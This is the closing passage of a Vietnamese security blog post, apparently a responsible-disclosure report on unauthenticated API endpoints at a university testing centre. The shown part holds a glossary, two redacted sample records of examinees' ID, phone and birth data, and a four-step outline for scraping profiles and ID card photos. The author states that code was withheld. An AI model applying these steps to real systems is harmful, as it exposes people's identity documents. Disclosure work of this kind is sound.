<h3 id="c-thuật-ngữ-glossary">C. Thuật ngữ (Glossary)</h3>

<table>
  <thead>
    <tr>
      <th>Thuật ngữ</th>
      <th>Định nghĩa</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CCCD</td>
      <td>Căn cước công dân - Thẻ Căn cước mới</td>
    </tr>
    <tr>
      <td>CMND</td>
      <td>Chứng minh nhân dân - Thẻ Chứng minh thư (mẫu cũ)</td>
    </tr>
    <tr>
      <td>Trường Đại học X</td>
      <td>Tên giả cho trường đại học bị ảnh hưởng</td>
    </tr>
    <tr>
      <td>SBD</td>
      <td>Số báo danh - Số thứ tự làm bài thi</td>
    </tr>
    <tr>
      <td>VSTEP</td>
      <td>Vietnamese Standardized Test of English Proficiency</td>
    </tr>
    <tr>
      <td>IDOR</td>
      <td>Insecure Direct Object Reference - Tham chiếu đối tượng trực tiếp không an toàn</td>
    </tr>
    <tr>
      <td>SaaS</td>
      <td>Software as a Service - Phần mềm dạng dịch vụ</td>
    </tr>
    <tr>
      <td>CDN</td>
      <td>Content Delivery Network - Mạng phân phối nội dung (Tệp tin tĩnh, hình ảnh)</td>
    </tr>
    <tr>
      <td>PII</td>
      <td>Personally Identifiable Information - Thông tin định danh cá nhân</td>
    </tr>
    <tr>
      <td>KYC</td>
      <td>Know Your Customer - Quy trình xác minh khách hàng (Của các ngân hàng/Ví)</td>
    </tr>
    <tr>
      <td>Công ty Y</td>
      <td>Tên giả cho công ty cung cấp và vận hành nền tảng Connections</td>
    </tr>
  </tbody>
</table>

<h3 id="d-mẫu-bản-ghi-dữ-liệu">D. Mẫu Bản ghi Dữ liệu</h3>

<p>Dưới đây là hai bản ghi tiêu biểu được trích xuất từ tập dữ liệu, trong đó các thông tin nhận dạng cá nhân thực tế đã được che mờ (redacted):</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">Ban</span><span class="w"> </span><span class="err">ghi</span><span class="w"> </span><span class="err">Mau</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="err">(Da</span><span class="w"> </span><span class="err">che</span><span class="w"> </span><span class="err">mo)</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"sbd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"AN1***"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"28/09/2000"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nu"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"022XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"037XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[redacted]@gmail.com"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"don_vi"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"dan_toc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Kinh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"noi_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Tinh Bac Ninh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_front"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/AN1***_front.jpg"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/AN1***_back.jpg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">//</span><span class="w"> </span><span class="err">Ban</span><span class="w"> </span><span class="err">ghi</span><span class="w"> </span><span class="err">Mau</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="err">(Da</span><span class="w"> </span><span class="err">che</span><span class="w"> </span><span class="err">mo)</span><span class="w">
</span><span class="p">{</span><span class="w">
  </span><span class="nl">"sbd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"TQ1***"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ho_ten"</span><span class="p">:</span><span class="w"> </span><span class="s2">"[REDACTED]"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"ngay_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"03/07/2000"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"gioi_tinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Nu"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"cccd"</span><span class="p">:</span><span class="w"> </span><span class="s2">"180XXXXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"sdt"</span><span class="p">:</span><span class="w"> </span><span class="s2">"036XXXXXXX"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"email"</span><span class="p">:</span><span class="w"> </span><span class="s2">"180XXXXXXXX@s.universityx.edu.vn"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"don_vi"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"dan_toc"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Kinh"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"noi_sinh"</span><span class="p">:</span><span class="w"> </span><span class="s2">""</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_front"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/TQ1***_front.jpg"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"img_back"</span><span class="p">:</span><span class="w"> </span><span class="s2">"output/images/TQ1***_back.jpg"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><strong>Các điểm đáng chú ý:</strong></p>

<ul>
  <li>Số CCCD được lưu trữ dưới dạng văn bản thuần túy (có dấu nháy đơn phía trước chỉ để định dạng cho tệp CSV).</li>
  <li>Các tệp hình ảnh là những bức ảnh chụp thẻ căn cước vật lý ở định dạng JPEG tiêu chuẩn.</li>
  <li>Trường <code class="language-plaintext highlighter-rouge">don_vi</code> (nơi công tác) có tỷ lệ điền rất thấp (15.1%), cho thấy phần lớn thí sinh là sinh viên chưa đi làm.</li>
</ul>

<h3 id="e-các-bước-tái-tạo">E. Các bước Tái tạo</h3>

<ol>
  <li><strong>Bước 1</strong> Tải xuống các file PDF danh sách thí sinh được công bố công khai từ CDN file tĩnh và phân tích bảng thí sinh để trích xuất số báo danh (SBD).</li>
  <li><strong>Bước 2</strong> Với mỗi SBD, truy vấn các điểm cuối API JavaScript không yêu cầu xác thực để lấy toàn bộ hồ sơ thí sinh bao gồm số CCCD và thông tin cá nhân.</li>
  <li><strong>Bước 3</strong> Giải mã các trường tham chiếu ảnh từ phản hồi API thành URL ảnh trên CDN, sau đó tải xuống ảnh CCCD tương ứng.</li>
  <li><strong>Bước 4</strong> Gộp dữ liệu trích xuất từ PDF và dữ liệu trích xuất từ API thông qua SBD làm khóa chính để tạo bộ dữ liệu hoàn chỉnh.</li>
</ol>

<p><a href="/blog/2026/06/13/vn-universityx-inhouse-network-leaked-J0194R">Phần 2</a> sẽ đi sâu vào việc vì sao từ lỗ hổng nhỏ của Trung tâm Khảo thí lại có thể gây ảnh hưởng đến cả hệ thống lớn của Trường.</p>

<blockquote>
  <p><strong>Lưu ý:</strong> Mã nguồn và công cụ tái tạo chi tiết đã được giữ lại và không công bố trong báo cáo này để tránh bị lạm dụng. Toàn bộ chi tiết kỹ thuật đã được chia sẻ với các bên liên quan trong quá trình tiết lộ có trách nhiệm.</p>
</blockquote>]]></content><author><name>PHAM Hoang Phi</name></author><category term="Security" /><category term="IDOR" /><category term="Broken Access Control" /><category term="API Abuse" /><category term="Data Exposure" /><category term="CVSS Critical" /><summary type="html"><![CDATA[Báo cáo này ghi lại quá trình nghiên cứu bảo mật đối với ứng dụng web của Trung tâm Khảo thí, Trường Đại học X. Thông qua việc dịch ngược framework JavaScript, tôi đã xác định các điểm cuối API không xác thực và chứng minh khả năng trích xuất dữ liệu cá nhân của 896 thí sinh bao gồm số CCCD/CMND và ảnh chụp căn cước công dân.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://hoangphi01.github.io/assets/posts/CNMENU/1_public_on_the_internet.png" /><media:content medium="image" url="https://hoangphi01.github.io/assets/posts/CNMENU/1_public_on_the_internet.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>